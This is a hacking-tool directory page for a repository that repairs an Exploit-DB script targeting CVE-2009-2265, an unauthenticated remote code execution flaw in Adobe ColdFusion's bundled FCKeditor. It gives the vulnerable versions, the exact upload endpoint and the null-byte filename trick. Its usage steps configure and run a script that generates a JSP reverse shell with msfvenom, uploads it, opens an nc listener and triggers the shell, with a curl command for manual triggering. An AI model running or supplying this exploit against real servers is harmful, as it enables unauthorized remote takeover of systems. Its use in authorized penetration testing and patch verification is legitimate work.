Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2009-2265-fix — fix for not working exploit script on exploitdb (50057.py) | Kitploit
Tools/GitHubGitHub/hd-exe/cve-2009-2265-fix
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubhd-exe/cve-2009-2265-fix

CVE-2009-2265-fix

fix for not working exploit script on exploitdb (50057.py)

View Repository
13h 32m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2009-2265 - Adobe ColdFusion RCE

Unauthenticated remote code execution via arbitrary file upload in the FCKeditor component bundled with ColdFusion. The file upload endpoint accepts a null-byte injection in the filename parameter, allowing a JSP webshell to be uploaded and executed directly by the server.

Vulnerable Versions

VersionStatus
ColdFusion 8.0Vulnerable
ColdFusion 8.0.1Vulnerable
ColdFusion 9.0Vulnerable*
ColdFusion MX 6.xVulnerable
ColdFusion MX 7.xVulnerable
ColdFusion 9.0.1+Patched
ColdFusion 10+Not affected

*ColdFusion 9.0 vulnerable if FCKeditor component not removed/updated.

Patch: Adobe Security Bulletin APSB09-09 (July 2009).

Usage

Edit the variables at the top of the script:

root@kitploit:~
lhost = 'YOUR_IP'
lport = 4444
rhost = 'TARGET_IP'
rport = 8500

Run:

root@kitploit:~
python3 poc.py

The script will:

  1. Generate a JSP reverse shell via msfvenom
  2. Upload it to the target via the FCKeditor endpoint
  3. Start a nc listener on lport
  4. Trigger the shell automatically

If the shell does not arrive within a few seconds, trigger it manually:

root@kitploit:~
curl http://<rhost>:<rport>/userfiles/file/<filename>.jsp

The filename is printed to stdout after upload.

Requirements

root@kitploit:~
msfvenom
netcat (nc)
python3

Vulnerable Endpoint

root@kitploit:~
/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm

Notes

  • Default ColdFusion port is 8500 (HTTP) or 8300 (HTTPS)
  • Uploaded files land in /userfiles/file/
  • The null byte (%00) in the CurrentFolder parameter truncates the filename so the server stores the file with a .jsp extension despite the upload appearing as .txt
  • On Windows targets the shell will be cmd.exe, on Linux /bin/sh
Download Tool